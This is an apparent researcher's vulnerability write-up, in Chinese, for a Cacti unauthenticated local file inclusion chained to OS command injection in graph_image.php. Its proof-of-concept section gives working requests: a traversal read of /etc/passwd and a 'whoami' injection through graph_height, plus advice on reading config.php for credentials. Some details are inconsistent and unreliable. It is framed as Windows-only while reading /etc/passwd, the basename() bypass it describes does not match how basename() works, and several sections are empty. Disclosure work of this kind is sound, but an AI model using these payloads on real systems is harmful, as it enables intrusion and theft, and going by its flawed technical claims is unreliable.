CVE-2026-39938

漏洞报告：Cacti 图形图像上的未认证 RCE

研究人员： K | 产品： Cacti ≤ 1.2.30 | CVE： CVE-2026-39938

[01] 漏洞摘要

在 Windows 平台上，Cacti ≤ 1.2.30 容易受到 graph_image.php 中 graph_theme 参数导致的未认证本地文件包含（LFI）漏洞影响，并通过 cacti_escapeshellarg() 的操作系统命令注入链接到远程代码执行（RCE）。

[02] 漏洞流程

HTTP Request
    │
    ▼
graph_image.php
    │
    ├── $guest_account = true  →  Auth bypass (no login needed)
    │
    ├── graph_theme param  →  LFI (CWE-22)
    │       └── Path traversal via basename() bypass
    │
    └── Other params (graph_height, etc.)
            └── cacti_escapeshellarg()  →  OS injection (CWE-78)
                    └── proc_open()  →  RCE

[03] 根本原因：通过 graph_theme 实现的 LFI

graph_theme 参数的过滤不充分。修复尝试使用 basename()，但该方法极易被绕过——像 themes/../../etc/passwd 这样的路径既能通过 basename() 的验证，同时仍然可以遍历目录。

graph_image.php 中的漏洞代码路径：

$theme = basename($_GET['graph_theme']); // basename() is NOT sufficient
include_once("./include/theme_" . $theme . ".php"); // LFI

1.2.31 中的修复用 cacti_validate_theme() 替换了 basename()，该函数使用文件系统白名单进行校验。

[04] 先决条件

[05] 概念验证

LFI — 读取任意文件

GET /cacti/graph_image.php?local_graph_id=1&graph_theme=../../../../etc/passwd

LFI → RCE 攻击链

GET /cacti/graph_image.php?local_graph_id=1&graph_height=100" & whoami & "&action=view

操作系统命令注入本身已提供直接的远程代码执行（RCE），因此实现入侵并不需要 LFI。

然而，从研究人员的角度来看，如果将这两个问题放在一起考虑：

• LFI 可用于读取 config.php，获取数据库凭据或敏感配置数据。
• 操作系统命令注入可用于执行系统命令并获得服务器控制权。
• LFI 还可帮助确认系统中的更改（例如，验证文件或恶意负载是否成功创建）。

这表明，组合多个漏洞会提高整体影响，并使利用更容易、更可靠。

[06] 影响评估

[07] CVSS v3.1 评分

评分： 9.8 — 严重

[08] 修复建议

👤 作者

MENG HOKSENG
独立安全研究员

参考链接：

• GHSA-rm7p-qcqm-x5m6
• https://www.cve.org/CVERecord?id=CVE-2026-39938
• https://github.com/Cacti/cacti/pull/6966